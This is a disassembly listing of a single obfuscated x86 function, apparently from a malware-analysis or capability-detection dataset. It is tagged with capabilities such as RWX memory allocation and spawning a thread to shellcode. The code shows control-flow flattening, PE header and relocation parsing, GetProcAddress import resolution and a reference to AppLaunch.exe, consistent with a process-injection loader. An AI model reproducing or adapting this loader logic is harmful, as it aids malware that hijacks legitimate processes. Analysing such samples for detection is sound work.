Function at 0x40f940
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0xacfe0
call fcn.0041e1e0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xacfe0], eax
mov eax, dword [0x4e1080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xacfd8], 0x894ec81c
mov eax, dword [ebp - 0xacfd8]
mov dword [ebp - 0xacfe4], eax
sub eax, 0x804eebec
je 0x4124b1
jmp 0x40f988
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8086533d
je 0x411fd3
jmp 0x40f99e
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x820650fa
je 0x412b70
jmp 0x40f9b4
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x83f0ab99
je 0x411ff1
jmp 0x40f9ca
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8451bcc9
je 0x412f03
jmp 0x40f9e0
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x89051735
je 0x414028
jmp 0x40f9f6
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x894ec81c
je 0x410bdb
jmp 0x40fa0c
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x89999c30
je 0x41162c
jmp 0x40fa22
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x89b4c389
je 0x41309d
jmp 0x40fa38
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8a23ab04
je 0x4136d5
jmp 0x40fa4e
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8a424dbe
je 0x414154
jmp 0x40fa64
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8a45c5bc
je 0x412886
jmp 0x40fa7a
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8a66a6d4
je 0x413cde
jmp 0x40fa90
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8a68b836
je 0x413dcf
jmp 0x40faa6
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8a9e67db
je 0x413831
jmp 0x40fabc
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8ad34156
je 0x41186a
jmp 0x40fad2
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8f485191
je 0x41330d
jmp 0x40fae8
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x8fb22215
je 0x413fbf
jmp 0x40fafe
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x902e8493
je 0x41172b
jmp 0x40fb14
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9216c747
je 0x4119b0
jmp 0x40fb2a
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9293b852
je 0x411c58
jmp 0x40fb40
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9349c30c
je 0x4126ce
jmp 0x40fb56
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x93c50bbb
je 0x411bb0
jmp 0x40fb6c
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9468b61f
je 0x41280e
jmp 0x40fb82
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x94c67f27
je 0x412b08
jmp 0x40fb98
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x94f0572d
je 0x411030
jmp 0x40fbae
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x950095fe
je 0x413954
jmp 0x40fbc4
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x95289fbb
je 0x412045
jmp 0x40fbda
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9581b58c
je 0x412e2c
jmp 0x40fbf0
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x95e65f7e
je 0x4129e7
jmp 0x40fc06
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x973efc7c
je 0x4112ca
jmp 0x40fc1c
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x990cb8aa
je 0x410fba
jmp 0x40fc32
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9a6f37e6
je 0x412b17
jmp 0x40fc48
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9c618f4b
je 0x41318f
jmp 0x40fc5e
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9c6adfcf
je 0x412388
jmp 0x40fc74
mov eax, dword [ebp - 0xacfe4]
sub eax, 0x9e1c7bb9
je 0x411e5e
jmp 0x40fc8a
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa1328cd5
je 0x413153
jmp 0x40fca0
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa35f5c63
je 0x412c91
jmp 0x40fcb6
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa5f95939
je 0x413e88
jmp 0x40fccc
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa6ac5119
je 0x4119e7
jmp 0x40fce2
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa70d8c1d
je 0x413f77
jmp 0x40fcf8
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa7710716
je 0x41284f
jmp 0x40fd0e
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa9e08158
je 0x411cab
jmp 0x40fd24
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xa9ff71a6
je 0x413c68
jmp 0x40fd3a
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xaa67a773
je 0x411e9f
jmp 0x40fd50
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xaa72ee1d
je 0x412e77
jmp 0x40fd66
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xad7df059
je 0x413ffe
jmp 0x40fd7c
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xad930aef
je 0x410ec6
jmp 0x40fd92
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xafe96c5f
je 0x413935
jmp 0x40fda8
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb04f99a9
je 0x41353a
jmp 0x40fdbe
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb0bc6234
je 0x4130ee
jmp 0x40fdd4
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb0e41f65
je 0x411b88
jmp 0x40fdea
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb428edeb
je 0x412c82
jmp 0x40fe00
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb44f237a
je 0x4123e8
jmp 0x40fe16
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb594b1fc
je 0x411458
jmp 0x40fe2c
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb6463fee
je 0x41271f
jmp 0x40fe42
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb7ee305a
je 0x414046
jmp 0x40fe58
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xb9b17b51
je 0x413d15
jmp 0x40fe6e
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xbb45236d
je 0x4119bf
jmp 0x40fe84
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xbd8b179f
je 0x4121ad
jmp 0x40fe9a
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xbd985e46
je 0x411565
jmp 0x40feb0
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xbfb2cccf
je 0x410f86
jmp 0x40fec6
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xbfbb45fb
je 0x413e28
jmp 0x40fedc
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xc0241b3d
je 0x413fd4
jmp 0x40fef2
mov eax, dword [ebp - 0xacfe4]
sub eax, 0xc12f7e4c
je 0x4133c2
mov eax, dword [ebp - 0xacfe0]
push eax
mov ecx, esp
mov dword [ebp - 0xacfc4], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfc0], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfbc], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfb8], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfb4], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfb0], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfac], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfa8], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfa4], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacfa0], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf9c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf98], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf94], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf90], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf8c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf88], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf84], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf80], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf7c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf78], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf74], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf70], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf6c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf68], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf64], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf60], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf5c], ecx
sub esp, 0x78
mov ecx, esp
mov dword [ebp - 0xacf58], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf54], ecx
sub esp, 8
mov ecx, esp
mov dword [ebp - 0xacf50], ecx
push eax
mov ecx, esp
mov dword [ebp - 0xacf4c], ecx
mov dword [ebp - 0xacfcc], eax
lea ecx, [ebp - 0xace0c]
lea eax, [0x42dd44]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xace00
call fcn.0041f040
add esp, 0xc
lea eax, [ebp - 0xace0c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xace00
call fcn.0040e750
add esp, 8
lea eax, [ebp - 0xace0c]
mov dword [ebp - 0xacfcc], eax
mov dword [ebp - 0xacfd8], 0x55f42285
jmp 0x414168
lea eax, [ebp - 0xace1c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041eee0
add esp, 0xc
lea eax, [ebp - 0xace60]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041eee0
add esp, 0xc
mov dword [ebp - 0xace60], 0x44
mov eax, dword [ebp - 0xacfd4]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0xace68], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0xace64], eax
mov eax, dword [ebp - 0xacfd4]
add eax, 0x18
mov dword [ebp - 0xacf48], eax
mov dword [ebp - 0xacfd8], 0x1921158d
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xd1370caf
mov dword [ebp - 0xacfdc], 0
jmp 0x414168
mov ecx, dword [0x4e255c]
mov eax, dword [0x4e2558]
mov edx, ecx
add edx, 0x1ffb64f7
sub edx, 1
sub edx, 0x1ffb64f7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc663b721
mov ecx, 0x94f0572d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacf40]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xacf3c], eax
mov ecx, dword [0x4e255c]
mov eax, dword [0x4e2558]
mov edx, ecx
sub edx, 0x68a5886
sub edx, 1
add edx, 0x68a5886
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc663b721
mov ecx, 0x52e32b8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xe87d6f13
jmp 0x414168
mov eax, dword [ebp - 0xacfc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacfcc]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041f040
add esp, 0xc
mov eax, dword [ebp - 0xacfd4]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov dword [ebp - 0xacf2c], eax
mov eax, dword [ebp - 0xacfd4]
mov dword [ebp - 0xacf28], eax
mov ecx, dword [0x4e255c]
mov eax, dword [0x4e2558]
mov edx, ecx
sub edx, 0xed4ed2e3
sub edx, 1
add edx, 0xed4ed2e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8a66a6d4
mov ecx, 0xedcab6d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacfb8]
mov eax, dword [eax]
mov dword [ebp - 0xacf24], eax
mov eax, dword [ebp - 0xacfd4]
mov ax, word [eax + 6]
mov word [ebp - 0xacf1e], ax
mov dword [ebp - 0xacfd8], 0x4513bc12
jmp 0x414168
mov ecx, dword [0x4e255c]
mov eax, dword [0x4e2558]
mov edx, ecx
sub edx, 0x991fea43
sub edx, 1
add edx, 0x991fea43
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb9b17b51
mov ecx, 0x527418c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0x1cc71189
jmp 0x414168
mov eax, dword [ebp - 0xacf0c]
mov esi, dword [eax + 0x1c]
mov edx, dword [ebp - 0xacf10]
mov eax, 0x83f0ab99
mov ecx, 0x684c89a
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xbb45236d
jmp 0x414168
mov eax, dword [ebp - 0xacfac]
mov eax, dword [eax]
cmp eax, dword [ebp - 0xace64]
setb al
and al, 1
mov byte [ebp - 0xacf05], al
mov dword [ebp - 0xacfd8], 0xa6ac5119
jmp 0x414168
mov dl, byte [ebp - 0xacf05]
mov eax, 0xdd16a5a2
mov ecx, 0xe19d3cf0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacfa4]
mov esi, dword [eax]
mov edx, dword [ebp - 0xacf00]
mov eax, 0xaa67a773
mov ecx, 0x93c50bbb
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacfa0]
mov eax, dword [eax]
movzx eax, word [eax]
sar eax, 0xc
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 3
mov ecx, 0xffffffff
xor ecx, 0x5bf2cd23
or eax, edx
or ecx, 0x5bf2cd23
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xacef9], al
mov dword [ebp - 0xacfd8], 0x5fa439c0
jmp 0x414168
mov eax, dword [ebp - 0xacef0]
movzx eax, word [eax]
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, dword [ebp - 0xacef4]
add eax, 0x78796d4d
add eax, ecx
sub eax, 0x78796d4d
mov ecx, dword [eax]
mov edx, dword [ebp - 0xacef8]
add ecx, 0xe72c474c
add ecx, edx
sub ecx, 0xe72c474c
mov dword [eax], ecx
mov dword [ebp - 0xacfd8], 0xa9e08158
jmp 0x414168
mov ecx, dword [0x4e255c]
mov eax, dword [0x4e2558]
mov edx, ecx
sub edx, 0x336025b8
sub edx, 1
add edx, 0x336025b8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1d6c89a9
mov ecx, 0x7e01e26e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacf9c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xacee8], eax
mov dword [ebp - 0xacfd8], 0x4de80067
jmp 0x414168
mov eax, dword [ebp - 0xacfb0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xacfac]
mov ecx, dword [ecx]
sub ecx, 0xc1263381
add ecx, eax
add ecx, 0xc1263381
mov eax, dword [ebp - 0xacfac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xacfa0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacfb0]
mov dword [eax], ecx
mov dword [ebp - 0xacfd8], 0x45a33751
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xbb45236d
jmp 0x414168
mov eax, dword [ebp - 0xacfc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacfd4]
mov eax, dword [eax + 0x80]
sub ecx, 0x2ff91909
add ecx, eax
add ecx, 0x2ff91909
mov eax, dword [ebp - 0xacf98]
mov dword [eax], ecx
mov dword [ebp - 0xacfd8], 0xc1ea1524
jmp 0x414168
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
add edx, 0xad05995e
sub edx, 1
sub edx, 0xad05995e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfbb45fb
mov ecx, 0xda73472c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacee4]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xacedd], al
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
add edx, 0xa344f7b7
sub edx, 1
sub edx, 0xa344f7b7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9b8d80c
mov ecx, 0x2a3f2acb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0x2c0f3bce
jmp 0x414168
mov eax, dword [ebp - 0xacfc4]
mov eax, dword [eax]
mov dword [ebp - 0xaced8], eax
mov eax, dword [ebp - 0xacf98]
mov eax, dword [eax]
mov dword [ebp - 0xaced4], eax
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
sub edx, 0x29113bc5
sub edx, 1
add edx, 0x29113bc5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5aa7b7
mov ecx, 0xf852e643
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa5f95939
mov ecx, 0x49348506
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
add edx, 0xdd4a8fdc
sub edx, 1
sub edx, 0xdd4a8fdc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf79e25f0
mov ecx, 0xb6463fee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacf84]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacec8]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0xacecc]
add ecx, 0xe311e531
add ecx, eax
sub ecx, 0xe311e531
mov eax, dword [ebp - 0xacf80]
mov dword [eax], ecx
mov eax, dword [ebp - 0xacf88]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xacf84]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0xacf8c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0xacf7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xacf7c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xacec1], al
mov ecx, dword [0x4e255c]
mov eax, dword [0x4e2558]
mov edx, ecx
add edx, 0xf45e707
sub edx, 1
sub edx, 0xf45e707
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf79e25f0
mov ecx, 0x9468b61f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dl, byte [ebp - 0xacec1]
mov eax, 0x73a91ed2
mov ecx, 0x8a45c5bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacf8c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacec0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0xacf7c]
mov dword [eax], ecx
mov dword [ebp - 0xacfd8], 0x8a45c5bc
jmp 0x414168
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
sub edx, 0x792c89fe
sub edx, 1
add edx, 0x792c89fe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8055228
mov ecx, 0xee9d4e9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xacf84]
mov ecx, dword [ebp - 0xaceac]
mov dword [eax], ecx
mov dword [ebp - 0xacfd8], 0x804eebec
jmp 0x414168
mov dword [ebp - 0xacfd8], 0x95289fbb
jmp 0x414168
mov eax, dword [ebp - 0xacf74]
mov dword [eax], 0
mov dword [ebp - 0xacfd8], 0xdedcd82b
jmp 0x414168
mov eax, dword [ebp - 0xacea4]
movzx esi, word [eax]
mov edx, dword [ebp - 0xacea8]
mov eax, 0x1db76ec7
mov ecx, 0x684fbc1c
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xa35f5c63
jmp 0x414168
mov eax, dword [ebp - 0xacf6c]
mov eax, dword [eax]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x4654e303
mov ecx, 0x2a885d95
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0x39066f32
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xa39307c
jmp 0x414168
mov edx, dword [ebp - 0xace94]
mov eax, 0xeb3a166c
mov ecx, 0xc4348d43
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
add edx, 0x81dcbee6
sub edx, 1
sub edx, 0x81dcbee6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe622008e
mov ecx, 0xb0bc6234
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov eax, dword [ebp - 0xace8c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xace86], al
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
add edx, 0x75e94bfd
sub edx, 1
sub edx, 0x75e94bfd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe622008e
mov ecx, 0xa1328cd5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dl, byte [ebp - 0xace86]
mov eax, 0x43f25a91
mov ecx, 0xdacfbcd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xb04f99a9
jmp 0x414168
mov eax, dword [ebp - 0xacf70]
mov dword [eax], 2
mov eax, dword [0x4e255c]
mov ecx, dword [0x4e2558]
mov edx, eax
add edx, 0x669686a2
sub edx, 1
sub edx, 0x669686a2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x447e1d9d
mov ecx, 0x11448f12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov dword [ebp - 0xacfd8], 0x63b534e1
jmp 0x414168
mov eax, dword [ebp - 0xacf74]
mov ecx, dword [ebp - 0xace80]
mov dword [eax], ecx
mov dword [ebp - 0xacfd8], 0xd184dc46
jmp 0x414168
mov eax, dword [ebp - 0xacfc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacf60]
mov eax, dword [eax]
add eax, 0x4168852d
add eax, 0x18
sub eax, 0x4168852d
mov dword [eax], ecx
mov eax, dword [ebp - 0xacf60]
mov ecx, dword [eax]
sub ecx, 0x87313fc1
add ecx, 0x24
add ecx, 0x87313fc1
mov eax, dword [ebp - 0xacf5c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xacf58]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041f040
add esp, 0xc
mov eax, dword [ebp - 0xacfd4]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xacf54]
mov byte [eax], cl
mov eax, dword [ebp - 0xacf54]
mov dl, byte [eax]
mov eax, 0x950095fe
mov ecx, 0xef34dc17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xacfd8], eax
jmp 0x414168
mov cx, word [ebp - 0xace7a]
mov eax, dword [ebp - 0xace78]
mov word [eax], cx
mov dword [ebp - 0xacfd8], 0x950095fe
jmp 0x414168
mov eax, dword [ebp - 0xacfc4]
mov eax, dword [eax]
mov dword [ebp - 0xace74], eax
mov eax, dword [ebp - 0xacfd4]
add eax, 0x18
mov dword [ebp - 0xace70], eax
mov dword [ebp - 0xacfd8], 0x65ee2d97
jmp 0x414168
mov eax, dword [ebp - 0xacf38]
mov dword [ebp - 0xacfd8], 0x514c566e
jmp 0x414168
mov eax, dword [ebp - 0xacfc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacfcc]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041f040
add esp, 0xc
mov dword [ebp - 0xacfd8], 0xb594b1fc
jmp 0x414168
mov eax, dword [ebp - 0xacfb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacf14]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0xacf1c]
mov ecx, dword [ebp - 0xacf18]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041f040
add esp, 0xc
